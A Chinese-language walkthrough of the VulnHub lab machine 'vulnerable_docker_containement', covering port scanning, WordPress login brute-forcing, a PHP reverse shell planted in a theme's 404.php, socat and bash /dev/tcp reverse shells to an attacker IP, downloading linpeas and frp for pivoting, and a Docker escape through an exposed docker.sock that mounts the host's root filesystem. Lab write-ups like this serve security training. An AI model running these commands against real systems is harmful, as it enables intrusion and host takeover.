vulnerable_docker_containement 靶机

vulnerable_docker_containement靶机

PDF:Target-practice/A_靶机复现 at main · szjr123/Target-practice

靶机描述没什么用,大意就是介绍这是个靶机。

靶机下载链接:

https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova

有困难和简单两个模式

信息搜集

会直接给出IP:10.10.10.150

端口扫描:

复制代码
nmap -p- --min-rate 1000  10.10.10.150

给出22和8000端口:

复制代码
nmap -p22,8000 -Sc -A -Pn --min-rate 1000 10.10.10.150

经典wordpress

访问看看

GetShell

docker环境

/robots.txt

wordpress版本都不是很高

/wp-admin/admin-ajax.php有个CVE-2022-21661

试了一下发现不能用

端口扫描的时候出来了bob,后台挂一下爆破

复制代码
python2 wpforce.py -i ../dict/user.txt -w ../dict/pass.txt -u "http://10.10.10.150:8000/wp-login.php"

登录进入后台

找到flag1

低版本直接上传shell就行

1、插件上传打包好的shell.zip

2、主题上传shell.php

3、修改主题404.php代码,访问特定的不存在 url(这个一般最简单)

4、修改header.php,执行恶意代码

kali自带:/usr/share/webshells/php/php-reverse-shell.php

复制代码
cp /usr/share/webshells/php/php-reverse-shell.php ./

ls

vim php-reverse-shell.php

修改脚本

访问一个不知道的页面

反弹成功

没有python,不能用pty形成交互页面

可以升级nc、socat、script

攻击机:

首先下载(不要直接下/bin的,过去依赖没有)

复制代码
​
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

python -m http.server 9999

​

执行

复制代码
socat file:`tty`,raw,echo=0 tcp-listen:4444

靶机:

复制代码
​
curl -O http://10.10.10.148:4444/socat

chmod +x socat

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.148:4444

​

docker逃逸

验证一下docker环境:

复制代码
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

传个linpeas.sh上去

复制代码
curl http://10.10.10.148:9999/linpeas.sh -o linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

Linux version 3.13.0-128-generic (buildd@lgw01-39) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017

ip add

Ping命令查看存活主机

复制代码
for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

端口探测

脚本:

复制代码
------

#!/bin/bash

hosts=(



"172.18.0.1"

"172.18.0.2"

"172.18.0.3"

"172.18.0.4"

)

END=65535

for host in "${hosts[@]}"

do

echo "==============================="

echo "Scanning $host"

echo "==============================="



for ((port=1;port<=END;port++))

do

echo "" > /dev/tcp/$host/$port && echo "Port $port is open"

done 2>/dev/null

done

------

下载脚本

复制代码
curl http://10.10.10.148:9999/port.sh -o port.sh

chmod +x port.sh

./port.sh

代理访问,参考(使用frp配置内网访问(穿透)教程(超详细,简单)-CSDN博客):

复制代码
​
curl -O http://10.10.10.148:9999/frpc

curl -O http://10.10.10.148:9999/frpc.ini

​

frpc.ini

frps.ini

复制代码
chmod +x frpc

攻击机:

复制代码
./frps -c frps.ini

靶机:

看见success

修改文件

复制代码
sudo gedit /etc/proxychains4.conf
复制代码
proxychains nmap -sT -sV -Pn -n -p8022 172.18.0.2

再次反弹shell

复制代码
bash -i >& /dev/tcp/10.10.10.148/9988 0>&1

/run目录下存在docker.sock文件,remote API未授权访问

参考:Docker Remote api在安全中的应用杂谈 - SecPulse.COM | 安全脉搏

换源,没有vim,echo写入

复制代码
cat > /etc/apt/sources.list << 'EOF'

deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse

EOF

安装docker

复制代码
apt-get update

apt-get install docker.io

挂载宿主机的根目录到容器内

复制代码
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash

读取宿主机文件

复制代码
cd /tmp/1/

cat flag_3
相关推荐
乘云数字DATABUFF2 天前
5分钟部署开源APM Databuff:OpenTelemetry全链路追踪入门实战
运维·后端
Patrick_Wilson2 天前
从「改个端口」到 502:Next.js on k8s 的容器端口、Service 映射与 env 覆盖
docker·kubernetes·next.js
Suroy3 天前
DockerView-Go:用 Go 写一个终端 Docker 监控工具,顺便做了个 Web 仪表盘
docker
云恒要逆袭3 天前
运行你的第一个Docker容器
后端·docker·容器
荣--3 天前
一键部署不是为了省时间 —— 它是把"买来的 PaaS"变成"自己的平台"的拐点
运维·zabbix·工程化·一键部署·平台化·边界设计
江华森4 天前
动手实战学 Docker — 从零到集群编排完全指南
运维
宋均浩4 天前
# Docker 镜像瘦身实战:从 1.2G 到 80MB 的五个优化步骤
ci/cd·docker
Avan_菜菜4 天前
FRP 内网穿透完整实战:从 HTTP 映射到 HTTPS 自签代理
运维·nginx·https
程序员老赵4 天前
10 分钟部署 OpenCode:Docker 一键安装,浏览器打开就能用 AI 写代码(附完整命令与排错)
docker·容器·ai编程
WangMingHua1114 天前
LM Studio Docker 部署——本地大模型一键启动
docker